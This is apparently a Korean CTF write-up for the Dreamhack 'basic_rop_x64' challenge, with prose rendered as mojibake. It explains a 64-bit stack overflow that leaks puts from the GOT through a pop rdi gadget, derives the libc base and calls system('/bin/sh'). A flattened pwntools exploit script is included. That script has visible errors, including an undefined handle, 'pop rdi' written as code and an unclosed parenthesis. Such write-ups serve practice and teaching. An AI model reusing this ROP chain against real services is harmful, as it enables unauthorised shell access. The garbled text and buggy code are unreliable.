basic_rop_x64
basic_rop_x64 WriteUp
๋ฌธ์ ํ์ด
NX์ Partial RELRO๊ฐ ๊ฑธ๋ ค์๋ค์ ๋คํ์ธ ์ ์ Canary๊ฐ ์๊ธฐ์ ๊ทธ ๋ถ๋ถ์
์๋ตํด๋ ๋๋ค.. ๋๊ฐํ ๊ฑฐ๋๊น ROP๋ก ํ์ด์ผ๊ฒ ๋ค์
์ฝ๋๋ฅผ ๋ณด์๋ฉด ์ด์ ๋ด์ฉ์ด๋ ์ ์ฌํ ๋ฐฉ๋ฒ์ด๋ค์ read()ํจ์์ bof๊ฐ ๋ฐ์ํ๋๊น์
๊ทธ๋ผ ์ค์ ๋ก ์ด๋ค ์์ผ๋ก ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋น๋์๋์ง๋ ํ์ธํด๋ด
์๋ค.
buf์์ 0x40์ด์ง๋ง read์์ 0x400์ด๋ ๋ฐ๊ธฐ์ bof๊ฐ ๋ฐ์ํฉ๋๋ค. ๋ค๋ง ๋ณดํธ๊ธฐ๋ฒ์ ๊ณ ๋ คํด์
NX์ด๋ฏ๋ก ์ธ๋ถ ์ ์ฝ๋ ์คํ X, ๊ทธ๋ ๋ค๊ณ ์ฌ๊ธฐ์ system๊ฐ์ ํจ์๋ ์ฝ๋์ ์กด์ฌ X์ด๋ฏ๋ก
Return Overwrite Programming์ ํด์ผ๊ฒ ๋ค์(๋คํ์ด Lazy Binding์ด๋๊น...)
๊ทธ๋ผ ํด๋น ํจ์๋ฅผ ๋ฐ๊ธฐ์ํด ํด๋น lib์ธ libc.so.6์ ๋ํ ํจ์๋ค์ ์ด์ฉํ์ฌ got, plt์ ํจ๊ป
libc_base๊น์ง ๊ตฌํ ์ ์๊ฒ ๊ตฐ์ ๊ทธ๋ผ ๊ทธ ์ ๋ณด๋ฅผ ํ ๋๋ก system()๊น์ง ๊ฐ๋ฅ!!
Exploit design(Senario)
์ฌ๋ฌ ๋ณดํธ๊ธฐ๋ฒ ๋๋ถ์ ์ ํฌ์ ์ ํ์ง๋ ROP๋ง ๋จ์์๊ตฐ์
ROP์ ์๋๋ฆฌ์ค ๊ตฌ์ฑ์ ์ด์ ์ ๋ดค๋ ์ค์ต์์ ์ถฉ๋ถํ ํ๊ธฐ์ ์ฌ๊ธฐ์ ์์๋ง ๋์ดํ์๋ฉด..
Senario
๊ทธ๋ผ ์ ํฌ๋ ์ด์ ์ ํ๋ ๊ฑฐ์ฒ๋ผ system()ํจ์์ ์ฃผ์๋ฅผ ์์๋ด์ด ์ต์ข
์ ์ผ๋ก system("/bin/sh") ํธ์ถ!
๊ทธ๋ฌ๊ธฐ ์ํด ์ด๋ฒ์๋ puts๋ฅผ ์ฌ์ฉํ ๊ฒ์
๋๋ค. ์ค์ ์ฃผ์๋ฅผ leakํ๋ ๋ฐฉ์์
์ด์ ์ ๋ฐฐ์ ์ผ๋ฏ๋ก ์๋ตํ๊ฒ ์ต๋๋ค.
ํ์ง๋ง ๋ฌธ์ ์ ์ด๋ผ๋ฉด puts_plt๋ฅผ ์คํ ์ puts์ ret์์ ์ธ์๋ฅผ ์์นํ 32bit์๋ ๋ค๋ฅด๊ฒ
์ธ์์ ์ ์ฅํด์ผํ๋ฏ๋ก ์ฐ์ ์์๊ฐ ๊ฐ์ฅ ๋์ rdi์ puts_got๋ฅผ ๋ฃ์ด์ค์ผํ๋ค๋ ์ !
๊ทธ ๋ค์์ผ๋ก ์ ํฌ๋ rop chain์ ์ด์ฉํด overwirte ํด์ฃผ๊ณ ์ด๋ฒ์ bss ์์ญ์ ํ์ฉํ์ฌ ์ ๊ทผํ ๊ฑฐ์์
์ด๋ฒ์ bss์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ e.bss() ๋ง๊ณ ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก libc์ ์์นํ๋ฏ๋ก libc.search๋ฅผ ํ์ฉํด๋ณผ๊ฑฐ์์
์ฐธ๊ณ ๋ก bss ์์ญ์ ์ฌ์ฉํ ์ ์๋ ์ด์ ๋ Paritial RELRO ๋๋ฌธ์ธ๋ฐ ์ถํ์ ๋ฐฐ์ธ ๋ด์ฉ์ด๋๊น ๋์ด๊ฐ์ฃ
Exploit
๋ฉ๋ชจ๋ฆฌ์ ํฌ๊ธฐ๋ ์์๋ณด์๊ณ 64bit์ OS์ด๋ฏ๋ก
๊ทธ๋ฌ๊ธฐ์ rop์ ํ์์ธ return gadget์ ์ด์ฉํด ํ์ด๋ณด๊ฒ ์ต๋๋ค.
๋ค์ํ gadget ๋ฐฉ์์ด ์์ผ๋ ์๊ฐ ๊ด๊ณ์ ํด์ ์ฌ์ฉํ์์ต๋๋ค.
์ ํฌ๊ฐ ์ด์ ์ pwntools๋ฅผ ์ฌ์ฉํด check_lib์ ํ์์ผ๋ก ์์๋ณด์๋๋ฐ
์ฌ๊ธฐ์๋ ๊ทธ๋ฐ ๋ฌธ์ ๊ฐ ์๋ ๋ฏ ์ถ๊ธฐ์ ๊ทธ๋ฅ ํ์ด๋ดค๋ค๋ ์ ์ ์ํด์ฃผ์ธ์ ใ
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354 #!usr/python3from pwn import *import sysHost = 'host3.dreamhack.games'File_Name = './basic_rop_x64'if(args['REMOTE']):p = remote(Host, sys.argv[1])else:p = process(File_Name)#default Settinge = ELF(File_Name, checksec=False)libc = ELF('./libc.so.6', checksec=False)context(arch='i386', os='linux')#context.cyclic_alphabet = "A"#context.log_level = 'debug'#gdb.attack()#def slog(func_name, func_addr): return success(" : ".join([func_name, hex(func_addr)]))def main():#ROP default settingputs_plt = e.plt['puts']puts_got = e.got['puts']pop_rdi = 0x400883 #pop rdi; ret'''payload in buffer(buf~rbp : 0x40 | sfp : 0x8 | read_plt | puts_plt_ret.. 0x4 | puts_got 0x4)'''payload = b'A'*0x40 + b'B'*0x8payload += p64(pop_rdi) + p64(puts_got)payload += p64(puts_plt) + p64(e.sym['main'])p.send(payload)p.recvuntil('a'*0x40)leak = u64(r.recv(6)+b'\x00\x00')lib_base = leak - libc.symbols['puts']log.info(f'leak : {hex(leak)}')log.info(f'lib_base : {hex(lib_base}')system = lib_base+libc.sym['system']binsh = lib_base+list(libc.search(b'/bin/sh'))[0] #libc ์์ ์๋ /bin/sh์ ์ค์ ์ฃผ์๋ฅผ ๊ตฌํจpayload2 = b'a'*0x48 + p64(pop rdi) + p64(binsh) + p64(system)p.send(payload2)p.interactive()if __name__ == '__main__':main()cs
exploit ์ฝ๋๋ฅผ ๊ฐ๋จํ ์ค๋ช
ํ์๋ฉด ์ฐ์ buf์ ์์๋ถํฐ rbp๊น์ง ๊ทธ๋ฆฌ๊ณ sfp๊น์ง ์ฑ์ด ๊ฒ์ด ์์์ผ๋ก
ret ๋ถ๋ถ์ puts()์ got๋ก ๋ฎ์์ต๋๋ค.(์ฆ, rdi์ ์ธ์๋ฅผ ํตํด ๋ฎ์์ง์)
๊ทธ๋์ main์ด ์์๋๋ฉด ์์ฐ์ค๋ฝ๊ฒ puts๊ฐ ์์๋๋ฉด์ ํด๋น gadget์ ํ์ํ ์ฃผ์๋ฅผ ๋ฃ์์ต๋๋ค.
๊ทธ๋ฌ๋ฉด lib์ ์ฃผ์๋ฅผ ํ์ธ ํด๋น ๋๋จธ์ง ์ฃผ์๋ ํ์ธํ ์ ์์ต๋๋ค. ๊ทธ ์ธ๋ถ์ ์ธ ๋ด์ฉ์
์ด์ ์ ํ์ธํด๋ดค์ผ๋ฏ๋ก ๊ฐ๋จํ lib base = ์ค์ ์ฃผ์ - offset์ธ ํํ์์
๊ทธ๋ผ system์ ์ฃผ์๋ lib_base + system offset์ ํ๋ฉด ๋๊ฒ ์ฃ
๋๋จธ์ง๋ ์ฐฌ์ฐฌํ chain rtl๋ฅผ ์ฌ์ฉํ์ฌ puts์ ์ฃผ์๋ฅผ ํ์ธ ํ system()์ฃผ์๋ฅผ got๋ก ret
puts()์ bss(์์ ๋ฐ์ดํฐ ๊ฐ ๋ฑ)์ "/bin/sh" ๋ฌธ์์ด์ ๋ด์์ฃผ๊ณ libc.search(b'/bin/sh')[0]์ผ๋ก ์ค์ ์ฃผ์!
์ธ๋ก์ด payload2๋ฅผ ๋ง๋ค์ด์ ๋ฃ์ด์ฃผ๋ ํ์์ผ๋ก ์งฏ์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง